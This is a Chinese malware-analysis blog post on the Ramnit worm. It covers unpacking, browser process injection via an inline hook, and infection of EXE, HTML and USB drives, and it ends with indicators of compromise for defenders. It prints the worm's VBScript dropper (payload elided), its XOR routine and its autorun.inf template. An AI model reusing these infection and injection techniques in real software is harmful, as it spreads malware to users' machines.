Ramnit病毒分析

news2024/11/17 19:38:11

概述

Ramnit病毒是一个相对古老的病毒,使用会感染系统内的exe和html文件,通过文件分发和U盘传播。

样本的基本信息

Verified:	Unsigned
Link date:	19:02 2008/2/12
Company:	SOFTWIN S.R.L.
Description:	BitDefender Management Console
MachineType:	32-bit
MD5:	FF5E1F27193CE51EEC318714EF038BEF
SHA1:	B4FA74A6F4DAB3A7BA702B6C8C129F889DB32CA6

脱壳

这个样本有三层壳

第一层壳

使用PEiD查壳之后,发现加了一层upx壳

使用od载入,看到pushad,F8单步执行后,在ESP在值进行内存窗口跟随,设置硬件访问断点

F9继续,找到popad指令,删除硬件断点,F4执行到0042C1BB,F7进入

第二层壳

脱掉第一层UPX层之后,发现又一层壳

在VirtualAlloc处设置断点(此处借鉴了《加密与解密》第19章的内容)
F9断下来,发现分配了一个F000大小的缓冲区,Ctrl+F9执行到VirutalAlloc尾部,F8返回用户空间

Ctrl+F9,等待一段时间后(这个解密操作比较耗时),程序断在0040746D处,此时的栈顶为00932CA9,这个地址在刚才分配的内存段内,要进入解密后的代码执行了,F7进入

Ctrl+F9,等待一段时间,又解密了一段代码,程序断在009322AF处,此时栈顶是ZwFreeVirtualMemory,调用这个函数来释放刚才分配的内存,然后进入地址00411390执行(这是用户空间)

F7进入ZwFreeVirtualMemory,Ctrl+F9,F7进入00411390,发现了熟悉的pushad

第三层壳

第三层是upx壳
使用脱第一层壳的办法,设置硬件断点,最后跳到程序OEP

使用Ollydump脱壳

注入部分

脱壳后的dump文件的基本信息

Verified:	Unsigned
Link date:	23:35 2010/7/18
MachineType:	32-bit
MD5:	B3907AD34288854E26703E00BB835BC5

主函数

使用IDA Pro打开,主函数如下图所示。

首先从注册表中获取系统默认浏览器的路径

从注册表 HKEY_CLASSES_ROOT\http\shell\open\command 获取系统默认浏览器的路径,若该程序不存在的话,读取%ProgramFiles%\Internet Explorer\iexplore.exe来作为默认浏览器

创建名为KyUffThOkYwRRtgPP的互斥量,若存在同名的互斥量,关闭这个互斥量,退出。若新建互斥量成功,执行下面的操作。

获取当前文件的路径

CopySelfAndExec_402B89:若当前文件在可移动存储介质上 或 文件名为不为DesktopLayer.exe,在下面这些目录中找一个可写的目录,将自己拷贝过去,命名为DesktopLayer.exe,调用CreateProcess执行,然后退出

%CommonProgramFiles%\Microsoft\
%HOMEDRIVE%%HOMEPATH%\Microsoft\
%APPDATA%\Microsoft\
C:\Windows\System32\Microsoft\
C:\Windows\Microsoft\
%temp%\Microsoft\
%ProgramFiles%\Microsoft\

若当前文件不在U盘中且名为DesktopLayer.exe时,继续
GetAPIAddress_401848函数: 获取下面这些API的地址,给shellcode用

LdrLoadDll
LdrGetDllHandle
LdrGetProcedureAddress
RtlInitUnicodeString
RtlUnicodeStringToAnsiString
RtlFreeAnsiString
RtlInitString
RtlAnsiStringToUnicodeString
RtlFreeUnicodeString
ZwProtectVirtualMemory
RtlCreateUserThread
ZwFreeVirtualMemory
ZwDelayExecution
ZwQueryInformationProcess

之后 Hook ZwWriteVirtualMemory
调用CreateProcess打开默认浏览器或IE,这是一个傀儡进程,会被注入一个dll,后面会讲到
然后取消对ZwWriteVirtualMemory的hook

hook部分

下面分析一下hook的过程
首先挂起当前进程中除了主线程之外的其它线程,这是为保证线程安全
使用inlineHOOK的方式hook ZwWriteVirtualMemory函数
最后激活前面挂起的线程

inlineHOOK部分

首先使用GetProcAddress从ntdll.dll中获取ZwWriteVirtualMemory函数的地址

调用VirtualProtect修改内存访问权,将ZwWriteVirtualMemory地址的前10个字节访问权限修改为PAGE_EXECUTE_READWRITE

先创建一个跳板函数,用来实现原来函数的功能,因为后面要修改函数头5个字节:
获取从ZwWriteVirtualMemory地址开始至少5个字节的一段完整指令(因为不能把一条指令从中间截断),假设其大小为n(n>=5)
分配n+10大小的缓存区,假设地址为buf,用于构造跳板函数
将下面的内存拷贝到这段内存中,前5个字节在unhook中使用(unhook就是把这n个字节再拷贝回去)

ZwWriteVirtualMemory地址 4个字节 
提取的ZwWriteVirtualMemory头部的指令长度n  1个字节
提取的ZwWriteVirtualMemory头部的指令   n个字节
JMP 0xE9  1个字节
偏移量 4个字节 

上面这个偏移量是这样计算的

函数地址 + n - (buf + 5 + n + 5) = 函数地址 -  buf - 10

buf+5为跳板函数的地址,跳板函数用于实现原来函数的功能

修改ZwWriteVirtualMemory地址的前5个字节,修改为

JMP 0xE9  1个字节
偏移量 4个字节 NewZwWriteVirtualMemory_402A59-(ZwWriteVirtualMemory的地址 + 5) 

这样调用ZwWriteVirtualMemory,首先就jmp到NewZwWriteVirtualMemory_402A59处执行

要想使用原来函数的功能,使用跳板函数

下面分析一下这个NewZwWriteVirtualMemory_402A59函数

该函数首先调用跳板函数实现ZwWriteVirtualMemory的功能
获取浏览器进程的AddressOfEntryPoint
在目标进程空间中加载一个dll(拷贝PE头,各节)
向目标进程空间拷贝一段shellcode和传给shellcode参数
将下面这段指令拷贝到浏览器进程入口处,共计12个字节,这样浏览器进程启动就会执行这段shellcode

0xBF shellcode   mov     edi, shellcode ; 5个字节
0x68 param       push    param          ; 5个字节
ff d7            call    edi            ; 2个字节

下面分析一下这段shellcode(va为0x401F5D)

这段shellcode的功能是加载上面注入的dll
首先加载dll所需的导入表,建立IAT表
然后遍历dll的节表,修改节的属性
最后执行dll的入口函数,并传入病毒的文件路径
调用ZwDelayExecution sleep(0x8000000000000000 ns),差不多一直等下去

下面分析这个dll的功能

dll部分

这个dll是内嵌在第一部分中的,rva为0x404031,文件偏移为0x4031,大小为0x9800
将其提取出来
样本的基本信息

Verified:	Unsigned
Link date:	23:35 2010/7/18
MachineType:	32-bit
MD5:	651DEFC532F0E72BE60621696AA97972
SHA1:	43176A96322202FC8FD8901C213FDE820D005871

当加载dll时执行下面的逻辑

首先创建名为 KyUffThOkYwRRtgPP 的互斥量,防止双开

Init_10007B0A 执行一些初始化的工作,包括
初始化winsock库,解密字符串,获取系统驱动器、版本和时区信息,读取complete.dat文件,读取dlmconf.dat文件,将感染时间写入dlmconf.dat

complete.dat 里面存储一个列表,功能未知
dlmconf.dat 里面存储了三个时间,每次运行会更新第一个时间

创建了几个线程

线程SetAutoRun_10007ACA设置开机启动项,将DesktopLayer.exe文件路径链接到 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit的值后面(已存在,就不用),实现开机自启动,间隙1s检查一次

线程TestConnectState_10007626作用是测试网络的连通性,会尝试连接google.com:80或bing.com:80或yahoo.com:80

线程SaveTime_1000781F 把这三个全局变量SystemTimeAsFileTime dword_1000A237 dword_1000A233写入文件 dmlconf.dat中 dmlconf.dat 死循环 间隔1分钟

Thread_10005906 监听本地的4678端口,用于处理控制端的连接,应该是一个后门,这段代码不会执行

线程Thread_1000790C 向后台发送数据 fget-career.com 443并接收响应
没有分析清楚

Infect_1000749F 用于感染系统内的exe、html文件,在U盘创建autorun.inf方式感染

最后是一个死循环,间隔1s检查一下病毒母体是否存在,不存在的话,会一直循环下去,存在,跳出

下面重点分析一下感染部分

感染部分

进入Infect_1000749F

设置注册表HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0

获取自系统启动以来的毫秒数,保存在一个全局变量中,这个用于后面生成随机数

从Imagehlp.dll中获取CheckSumMappedFile函数的地址,后面用于重新计算PE的checksum

读取病毒本体的内容,把PE的内容变成字符串,嵌入到一段VBScript脚本中,这段代码用于后续感染html文件
这个vbs的功能是在%temp%文件夹下释放并启动病毒母体,文件名为svchost.exe

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A...."
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

生成一段0x14=20长度的随机的字节,采用异或的方式加密文件内容
加解密的函数是同一个

// 加密或解密
void __stdcall XorData_10001D70(_BYTE *data, int data_size, int key, int key_size)
{
  int v4; // ecx
  int i; // edx

  if ( data_size && key_size )
  {
    v4 = data_size;
    i = 0;
    do
    {
      if ( !i )
        i = key_size - 1;
      *data++ ^= *(_BYTE *)(i + key);
      --i;
      --v4;
    }
    while ( v4 );
  }
}

接着创建了两个线程,用于感染感染固定驱动器或可移动存储介质
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qURrPcJl-1687662058360)(https://gitee.com/wlj2016/img_bed/raw/master/202306241017545.png)]

下面重点分析一个这两个线程

InfectDrives_10006EA8

线程的主体是个死循环

进入函数InfectDrives_100064E1,首先获取windows和system32路径,感染时会跳过这两个路径
遍历系统驱动器,若当前驱动器剩余大小大于512KB且固定驱动器或可移动存储介质,执行感染
InfectDrives_100064E1

进入函数InfectDir_10006377,递归遍历目录,跳过%windir%\system32、%windir%、名为RMNetwork目录,感染exe或html文件
InfectDir_10006377

进入InfectExeAndHtml_1000630C
通过文件后缀名来判断exe和html文件,执行感染
InfectExeAndHtml_1000630C

感染html文件

InfectHtml_10006AB2比较简单,若html文件大小大于9个字节,且最后9个字节不为</SCRIPT>,将前面构造好的vbs代码添加了html文件末尾

被感染的html文件

感染exe文件

首先打开要感染的exe目标文件,获取文件大小,若不是32位PE程序,或存在属性证书和CLR信息,跳过不感染

从PE的导入表中获取LoadLibraryA和GetProcAddress的IAT表项的va,(PE加载会填充IAT,从这儿获取API的地址)
计算shellcode的大小,0x1000749F-0x10006F2C=0x573
计算rmnet节的大小 病毒母体的大小+ shellcode的大小
修改PE头部,在节表最后,添加了一个名为rmnet的节,该节的位置在文件最末尾,将PE的OEP修改为rmnet节的起始位置
计算新的OEP和老的OEP的偏移(shellcode中使用,shellcode最终跳到老的OEP处执行)
计算LoadLibraryA和GetProcAddress的IAT表项与新的OEP的偏移(shellcode中使用,shellcode要从IAT中读取这两个API的地址)
把Shellcode和加密后的病毒自身依次写入rmnet节,

若原来PE的checksum不为0,重新计算PE文件的checksum

下面分析一下shellcode
shellcode的起始位置的VA为10006F2C,大小为0x573,分为代码部分和数据部分
首先获取OEP的地址,获取LoadLibraryA和GetProcAddress的地址,将这三个地址保存在数据部分

使用LoadLibraryA获得kernel32.dll的句柄,进而使用GetProcAddres获取下列这些API的地址

FreeLibrary
CreateMutexA
ReleaseMutex
CloseHandle
GetLastError
CreateFileA
WriteFile
GetModuleFileNameA
CreateProcessA

创建名为KyUffThOkYwRRtgPP的互斥量,然后关闭该互斥量对象
若存在同名的互斥量,将其关闭,退出

对病毒本体进行解密,密钥为先前加密使用的20字节的随机值

获取当前程序的路径,去掉后缀加上Srv.exe,构造一个新的文件名(病毒母体的文件名)

FileName = FileName[:FileName.rfind(".")]+"Srv.exe"

释放病毒母体

调用CreateProcess,启动病毒进程

最后是释放kernel32.dll的句柄,跳转到原始PE的OEP处执行

最后是shellcode的数据部分,保存着一些字符串和全局变量(读取gOldEntryPointOffset值可以还原原始文件的OEP,修复被感染的PE)

.text:10007248 lpNumberOfBytesWritten_10007248 dd 0    ; DATA XREF: ShellCode_10006F2C+27C↑o
.text:1000724C EntryPoint_1000724C dd 0                ; DATA XREF: ShellCode_10006F2C+15↑w
.text:1000724C                                         ; ShellCode_10006F2C+2B↑r ...
.text:10007250 dword_10007250  dd 6                    ; DATA XREF: ShellCode_10006F2C+F↑r
.text:10007254 gOldEntryPointOffset_10007254 dd 0      ; DATA XREF: InfectExeFile_1000678B+142↑w
.text:10007254                                         ; ShellCode_10006F2C+30F↑r
.text:10007258 ; HMODULE __stdcall LoadLibraryA_IAT_10007258(LPCSTR lpLibFileName)
.text:10007258 LoadLibraryA_IAT_10007258 dd 0          ; DATA XREF: InfectExeFile_1000678B+DB↑w
.text:10007258                                         ; InfectExeFile_1000678B+153↑r ...
.text:1000725C GetProcAddress_IAT_1000725C dd 0        ; DATA XREF: InfectExeFile_1000678B+F9↑w
.text:1000725C                                         ; InfectExeFile_1000678B+161↑r ...
.text:10007260 gEncodeKeySize_10007260 dd 14h          ; DATA XREF: ShellCode_10006F2C+205↑r
.text:10007260                                         ; Infect_1000749F+F7↓r ...
.text:10007264 ; char gEncodeKey_10007264[]
.text:10007264 gEncodeKey_10007264 db 0                ; DATA XREF: ShellCode_10006F2C:loc_10007138↑r
.text:10007264                                         ; Infect_1000749F+FD↓o ...
.text:10007265                 align 4
.text:10007268                 dd 4 dup(0)
.text:10007278 aKyuffthokywrrt_0 db 'KyUffThOkYwRRtgPP',0
.text:10007278                                         ; DATA XREF: ShellCode_10006F2C+1BB↑o
.text:1000728A aSrvExe         db 'Srv.exe',0          ; DATA XREF: ShellCode_10006F2C+242↑o
.text:10007292 FileName_10007292 dw 0                  ; DATA XREF: ShellCode_10006F2C+220↑o
.text:10007292                                         ; ShellCode_10006F2C+231↑o ...
.text:10007294                 dd 3Fh dup(0)
.text:10007390                 db 2 dup(0)
.text:10007392 lpStartupInfo_10007392 dw 0             ; DATA XREF: ShellCode_10006F2C+2A4↑o
.text:10007392                                         ; ShellCode_10006F2C+2C4↑o
.text:10007394                 dd 10h dup(0)
.text:100073D4                 db 2 dup(0)
.text:100073D6 lpProcessInformation_100073D6 dw 0      ; DATA XREF: ShellCode_10006F2C+2B3↑o
.text:100073D6                                         ; ShellCode_10006F2C+2BD↑o ...
.text:100073D8                 dd 3 dup(0)
.text:100073E4                 db 2 dup(0)
.text:100073E6 hKernel32_100073E6 dd 0                 ; DATA XREF: ShellCode_10006F2C+83↑w
.text:100073E6                                         ; ShellCode_10006F2C+90↑r ...
.text:100073EA LoadLibraryA_100073EA dd 0              ; DATA XREF: ShellCode_10006F2C+39↑w
.text:100073EA                                         ; ShellCode_10006F2C+60↑r ...
.text:100073EE FreeLibrary_100073EE dd 0               ; DATA XREF: ShellCode_10006F2C+A5↑w
.text:100073EE                                         ; ShellCode_10006F2C+303↑r
.text:100073F2 GetProcAddress_100073F2 dd 0            ; DATA XREF: ShellCode_10006F2C+4D↑w
.text:100073F2                                         ; ShellCode_10006F2C+53↑r ...
.text:100073F6 CreateMutexA_100073F6 dd 0              ; DATA XREF: ShellCode_10006F2C+C7↑w
.text:100073F6                                         ; ShellCode_10006F2C+1C6↑r
.text:100073FA CloseHandle_100073FA dd 0               ; DATA XREF: ShellCode_10006F2C+10B↑w
.text:100073FA                                         ; ShellCode_10006F2C+1DD↑r ...
.text:100073FE ReleaseMutex_100073FE dd 0              ; DATA XREF: ShellCode_10006F2C+E9↑w
.text:100073FE                                         ; ShellCode_10006F2C+1D7↑r
.text:10007402 ; DWORD __stdcall GetLastError_10007402()
.text:10007402 GetLastError_10007402 dd 0              ; DATA XREF: ShellCode_10006F2C+12D↑w
.text:10007402                                         ; ShellCode_10006F2C+1CD↑r
.text:10007406 ; HANDLE __stdcall CreateFileA_10007406(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
.text:10007406 CreateFileA_10007406 dd 0               ; DATA XREF: ShellCode_10006F2C+14F↑w
.text:10007406                                         ; ShellCode_10006F2C+268↑r
.text:1000740A WriteFile_1000740A dd 0                 ; DATA XREF: ShellCode_10006F2C+171↑w
.text:1000740A                                         ; ShellCode_10006F2C+292↑r
.text:1000740E GetModuleFileNameA_1000740E dd 0        ; DATA XREF: ShellCode_10006F2C+193↑w
.text:1000740E                                         ; ShellCode_10006F2C+229↑r
.text:10007412 ; BOOL __stdcall CreateProcessA_10007412(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
.text:10007412 CreateProcessA_10007412 dd 0            ; DATA XREF: ShellCode_10006F2C+1B5↑w
.text:10007412                                         ; ShellCode_10006F2C+2E0↑r
.text:10007416 aFreelibrary    db 'FreeLibrary',0      ; DATA XREF: ShellCode_10006F2C+89↑o
.text:10007422 aCreatemutexa   db 'CreateMutexA',0     ; DATA XREF: ShellCode_10006F2C+AB↑o
.text:1000742F aClosehandle    db 'CloseHandle',0      ; DATA XREF: ShellCode_10006F2C+EF↑o
.text:1000743B aReleasemutex   db 'ReleaseMutex',0     ; DATA XREF: ShellCode_10006F2C+CD↑o
.text:10007448 aGetlasterror   db 'GetLastError',0     ; DATA XREF: ShellCode_10006F2C+111↑o
.text:10007455 aCreatefilea    db 'CreateFileA',0      ; DATA XREF: ShellCode_10006F2C+133↑o
.text:10007461 aWritefile      db 'WriteFile',0        ; DATA XREF: ShellCode_10006F2C+155↑o
.text:1000746B aGetmodulefilen db 'GetModuleFileNameA',0
.text:1000746B                                         ; DATA XREF: ShellCode_10006F2C+177↑o
.text:1000747E aCreateprocessa db 'CreateProcessA',0   ; DATA XREF: ShellCode_10006F2C+199↑o
.text:1000748D aKernel32Dll_1  db 'kernel32.dll',0     ; DATA XREF: ShellCode_10006F2C+6D↑o
.text:1000749A gSelfFileSize_1000749A dd 0             ; DATA XREF: InfectExeFile_1000678B+14A↑w
.text:1000749A                                         ; ShellCode_10006F2C+1EF↑r ...
.text:1000749E ; char shellcode_end_1000749E[]
.text:1000749E shellcode_end_1000749E db 1             ; DATA XREF: ShellCode_10006F2C+1D↑w
.text:1000749E                                         ; ShellCode_10006F2C+1F5↑o ...

被感染exe文件,多了一个rmnet节

感染U盘

线程InfectUSB_10006EC2是用来感染U盘,遍历系统的驱动器,找到可移动存储介质
若存在autorun.inf文件,开头三个字节是否为RmN是的话表示已经被感染过,跳过

进入函数InfectUSB_10006BAF,将自身保存在U盘中,路径为X:\RECYCLER\随机路径名\8位随机字符.exe,隐藏目录RECYCLER
在U盘的根目录创建一个autorun.inf文件,内容为

RmN
[autorun]
action=Open
icon=%WinDir%\system32\shell32.dll,4
shellexecute=.\RECYCLER\随机路径名\8位随机字符.exe
shell\explore\command=.\RECYCLER\随机路径名\8位随机字符.exe
USEAUTOPLAY=1
shell\Open\command=.\RECYCLER\随机路径名\8位随机字符.exe

autorun.inf的图标为系统文件夹的icon

IOC

HASH
FF5E1F27193CE51EEC318714EF038BEF
B3907AD34288854E26703E00BB835BC5
651DEFC532F0E72BE60621696AA97972

文件
DesktopLayer.exe
*Srv.exe
%temp%\svchost.exe
浏览器根目录下
dlmconf.dat
complete.dat
U盘中存在 X:\RECYCLER\随机路径名\8位随机字符.exe
autorun.inf(以RmN开头)

注册表
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 里面有DesktopLayer.exe路径
HKEY_LOCAL_MACHINE\Software\WASAntido\disable=0

网络
fget-career.com:443
google.com:80
bing.com:80
yahoo.com:80

感染行为
exe文件多了一个名为rmnet的节
html文件末尾 有一段VBscript脚本

进程行为
创建浏览器进程,注入一个dll,浏览器没有窗口

互斥量 
KyUffThOkYwRRtgPP

参考资料

  • 学习笔记-Ramnit 蠕虫分析
  • Ramnit感染型病毒创建傀儡进程的方法
  • 天台人满为患,不如来看下这个Ramnit蠕虫分析
  • 内核的ZwProtectVirtualMemory怎么使用, 总是失败
  • Windows系统自带图标文件存储方式、存放位置、默认图标更改及使用方法全解析
  • autorun.inf百度百科
  • Ramnit感染病毒分析报告
  • DesktopLayer.exe样本分析
  • inline hook 原理&教程
  • 说说JMP指令的跳转
  • minhook

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/682192.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

王道操作系统学习笔记(3)——内存管理

前言 本文介绍了操作系统中的内存管理&#xff0c;文章中的内容来自B站王道考研操作系统课程&#xff0c;想要完整学习的可以到B站官方看完整版。 3.1.1&#xff1a;内存基本知识&#xff08;指令工作原理、编译、链接、逻辑地址到物理地址的转换&#xff09; 内存可存放数据…

【yocto1】利用yocto工具构建嵌入式Linux系统

文章目录 1.获取Yocto软件源码2.初始化Yocto构建目录2.1 imx-setup-release.sh脚本运行2.2 imx-setup-release.sh脚本解析2.2.1 setup-environment脚本解析 3.构建嵌入式Linux系统3.1 BitBake构建系统3.2 BitBake构建系统过程简要解析3.2.1 解析Metadata基本配置Metadatarecipe…

HTML+CSS面试题总结(附答案+视频讲解)

HTMLCSS面试题总结如下 红色标注为常见重点 对应的视频讲解在B站&#xff1a;可以点击免费观看 2023前端高频面试题详解/面试必刷HTMLCSS前端面试题_哔哩哔哩_bilibili 目录 1. 块元素和行内元素有哪些 2. css3选择器 &#xff08;了解&#xff09; 3. css优先级 4. 对we…

java 艺考报名系统Myeclipse开发mysql数据库web结构jsp编程计算机网页项目

一、源码特点 JSP 艺考报名系统 是一套完善的系统源码&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源代码和数据库&#xff0c;以及相应配套的设计文档&#xff0c;系统主要采用B/S模式开发。 研究的基本内容是基于Web的艺考报名系统&…

mdk下栈地址相关的知识梳理

mdk中&#xff0c;堆栈地址范围不像在gcc工程中那么容易看出来。过程被mdk隐藏了&#xff0c;单纯从代码层面不好看出来。但是基本的流程是这样的&#xff1a;先确定代码其他部分使用RAM的情况&#xff0c;然后紧跟着已使用的RAM地址&#xff0c;在剩下的RAM地址中分配Stack_Si…

电商数据分析方案和BI强强联合,一站式做分析

搭建一个电商大数据分析平台需要哪些条件&#xff1f;总的来说需要一套满足电商数据分析需求的方案&#xff0c;一个能够提供强大数据计算分析功能和数据可视化图表的平台&#xff0c;比如电商数据分析方案和奥威BI软件这样的组合。 电商数据分析方案BI软件&#xff0c;一站式…

提前出击:如何在故障降临之前解决设备问题?

在现代工业生产中&#xff0c;设备故障和停机时间对企业来说是极具挑战性和成本高昂的问题。为了解决这一问题&#xff0c;预测性维护作为一种先进的维护策略应运而生。本文将探讨预测性维护的概念以及如何通过它在设备故障之前解决问题。 预测性维护是一种基于设备运行数据和分…

111.实战网页建立移动导航

本节课我们建立一个移动导航&#xff0c;如下图所示 首先添加这个button <button class"btn-mobile-nav"><ion-icon class"icon-mobile-nav" name"menu-outline"></ion-icon><ion-icon class"icon-mobile-nav"…

SpringBoot 使用 EmbeddedDatabaseBuilder 进行数据库集成测试

SpringBoot 使用 EmbeddedDatabaseBuilder 进行数据库集成测试 在 SpringBoot 应用程序中&#xff0c;我们可以使用 EmbeddedDatabaseBuilder 进行数据库集成测试。EmbeddedDatabaseBuilder 是一个测试工具&#xff0c;可以让我们在内存中启动嵌入式数据库&#xff0c;并进行测…

PHY芯片的使用(二)使用Vivado SDK调试网络

在使用ZYNQ或者FMQL的以太网时都需要在Vivado BD中勾选Enet0/1,最好也勾选上UART0/1。 如果就使用这两个外设就可是直接生成bit然后导出硬件启动SDK了。 SDK建立工程中有以太网相关的工程&#xff0c;选用最简单的即可如下图。使用这个工程除了选Enet还要选用串口&#xff0c;…

【C】C语言实现三子棋小游戏

这里写目录标题 游戏的整体框架游戏函数的具体实现&#xff08;这里的函数声明都放到game.h中&#xff0c;函数的实现在game.c中&#xff09;初始化棋盘函数玩家下棋电脑下棋判断输赢判断棋盘是否满了 游戏的逻辑及game()的实现game.hgame.ctest.c 今天带大家用C语言来实现我们…

C语言进阶教程(再论指针和数组3)

文章目录 前言一、a和&a的区别二、数组作为函数参数总结 前言 本篇文章继续讲解指针和数组。 一、a和&a的区别 1.数组名&#xff08;例如 a&#xff09;表示整个数组。当使用数组名时&#xff0c;它会被解释为对整个数组的引用。例如&#xff0c;可以使用 a[0] 来访…

Cadence Allegro PCB设计88问解析(二十九) 之 Allegro中泪滴的使用

一个学习信号完整性仿真的layout工程师 通常添加泪滴的目的是&#xff1a;在一些接插器件或者大焊盘的时候&#xff0c;增强信号线与焊盘之间的连接强度&#xff0c;提高可靠性&#xff1b;二是为了保持高速信号的阻抗连续性&#xff0c;防止阻抗突变等&#xff0c;造成信号完整…

2023年杭州/广州/深圳NPDP产品经理认证线上班报名

产品经理国际资格认证NPDP是新产品开发方面的认证&#xff0c;集理论、方法与实践为一体的全方位的知识体系&#xff0c;为公司组织层级进行规划、决策、执行提供良好的方法体系支撑。 【认证机构】 产品开发与管理协会&#xff08;PDMA&#xff09;成立于1979年&#xff0c;是…

【数据存储概念】大端存储小端存储

这里写目录标题 大小端介绍大端小端存储的特征如何判断大小端 大小端介绍 本文采用整形来举列子说明大端存储和小端存储的区别及原理 特别注意&#xff1a;大小端模式是指字节序的大小端模式&#xff0c;当一个数据的所占的内存大于一个字节时&#xff0c;就会按照大端或小端…

vscode配置eigen3

目录 1. 头文件包含 2. c_cpp_properties.json 3. CMakeList.txt 4. 完整代码 1. 头文件包含 // Eigen 核心部分 #include <Eigen/Core> // 稠密矩阵的代数运算&#xff08;逆&#xff0c;特征值等&#xff09; #include <Eigen/Dense> 2. c_cpp_properties.…

Linux部署: (根据进程号自动关闭jar程序)或jenkins自动化部署

目录 1. 简单部署方式 1.1 在项目部署位置 1.2 上传需要启动的jar包 复制包名 ps: 注意: 打包时候需添加build依赖 1.3 特别注意一下jar包需要添加的配置和依赖 1.4 根据此jar包名字进行编写shell脚本(启动) 1.5 编写shell脚本关闭(通过进程号关闭) 1.6 vim shutdown…

基于Python+Dlib+OpenCV个人换脸应用智能实现(深度学习+机器视觉)含全部工程源码及视频演示(仅供个人学习,请勿商用)

目录 前言总体设计系统整体结构图系统流程图 运行环境Python 环境相关库包安装 模块实现1. 准备数据2. 提取面部标记3. 调整脸部对齐4. 混合图像5. 校正颜色6. 转换函数7. 交互式界面设计 系统测试工程源代码下载其它资料下载 前言 本项目利用Dlib提供的机器学习、数值计算、图…

Linux远程管理工具

在使用远程管理工具之前&#xff0c;应先设置宿主机 Windows 与虚拟机 Linux 能够连通。这里要注意 VMware 的网卡设置&#xff0c;Linux 中更改网络设置可以使用 ifconfig 和 setup 命令&#xff0c;若还是无法进行远程连接&#xff0c;要么就是 SSH 服务没有启动&#xff0c;…

Vlan(Access、Trunk、Hybrid)与ARP(免费ARP)讲解

目录 Vlan讲解 Vlan标签 二层接口类型 ARP ARP的作用 ARP地址解析报文讲解 免费ARP报文讲解 ARP缓存表 Vlan讲解 Vlan&#xff08;Virtual Local Area Network&#xff09;虚拟局域网&#xff0c;将一个物理的LAN在逻辑上划分为多个广播域&#xff1b;可以理解为一个V…